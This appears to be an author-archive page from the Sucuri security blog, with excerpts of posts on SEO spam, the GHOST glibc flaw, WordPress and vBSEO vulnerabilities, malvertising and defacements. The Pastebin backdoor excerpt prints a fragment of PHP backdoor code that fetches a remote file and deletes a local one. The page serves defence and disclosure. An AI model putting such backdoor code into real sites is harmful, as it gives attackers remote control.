Here at Sucuri we see countless cases of SEO spam where a website is compromised in order to spread pharmaceutical advertisements or backlinks to sites selling luxury goods. Most of the time this involves injecting hundreds of spam links into the site’s database but in this case a deceptive, fake plugin called mobile-shortcuts was able […]
Archive by Author
Critical “GHOST” Vulnerability Released
A very critical vulnerability affecting the GNU C Library (glibc) is threatening Linux servers for a remote command execution. This security bug was discovered by Qualys security researchers and will probably cause a lot of headaches to those who won’t update right away. Where does the issue come from? This is a buffer overflow issue in glibc’s function __nss_hostname_digits_dots(), which is […]
DDoS from China – Facebook, WordPress and Twitter Users Receiving Sucuri Error Pages
Over the past few weeks, our Security Operation Center (SOC) has been seeing some different, and very suspicious requests to some of our servers. At first we thought it was a Distributed Denial of Service (DDoS) attack, mainly due to the high concentration of requests (thousands per second). Looking further however, it actually seemed like […]
Security Advisory – Vulnerabilities in Pagelines/Platform theme for WordPress
Advisory for: Pagelines and Platform Themes Security Risk: Very High Exploitation level: Easy/Remote DREAD Score: 9/10 Vulnerability: Privilege Escalation / Remote Code Execution Patched Version: 1.4.6 Users of both the Pagelines and Platform themes should update as soon as possible. During a routine audit for our WAF, we found two dangerous issues: A Privilege Escalation vulnerability affecting […]
AdSense Abused with Malvertising Campaign
Last weekend we noticed a large number of requests to scan websites for malware because they randomly redirected to some “magazine” websites. Most of them mentioned the lemode-mgz .com site. In all cases, the symptoms were the same. Some users randomly got redirected when they clicked on links or loaded new pages. They all reported […]
vBSEO’s Vulnerability Leads to Remote Code Execution
We were notified last week that the vBulletin team sent an email to all their clients about a potential security vulnerability in vBSEO. After further investigation, we confirm that this is a very critical issue as it could allow an attacker to execute malicious PHP code on your website, manually patching this add-on should be […]
vBulletin Releases Serious Vulnerability in VBSEO
The vBulletin team sent an email yesterday to all their clients about a potential security vulnerability on VBSEO. VBSEO is widely used SEO module for vBulletin that was discontinued last year. This makes the problem worse, no patches will be released for it. If you are using VBSEO, you have 3 options: Completely remove VBSEO […]
Websites Compromised with CloudFrond Injection
If you haven’t already noticed, we spent a good deal of time scraping the bottom of the interweb barrel, it’s dirty work, but someone has to do it. I’m not going to lie though, to us it’s fascinating digging up little nuggets daily, understanding how attackers think and uncovering the latest trends. Besides, it gives […]
Website Backdoors Leverage the Pastebin Service
We continue our series of posts about hacker attacks that exploit a vulnerability in older versions of the popular RevSlider plugin. In this post we’ll show you a different backdoor variant that abuses the legitimate Pastebin.com service for hosting malicious files. Here’s the backdoor code: if(array_keys($_GET)[0] == ‘up’){ $content = file_get_contents(“http://pastebin . com/raw.php?i=JK5r7NyS”); if($content){unlink(‘evex.php’); $fh2 […]
2014 Website Defacements
Defacements are the most visual and obvious hack that a website can suffer from. They also come parcelled with their own exquisite sense of dread. Nothing gives that gut-wrenching feeling of “I’ve been hacked” more than seeing this: Most malware that we see on a daily basis is driven by some desire to profit off […]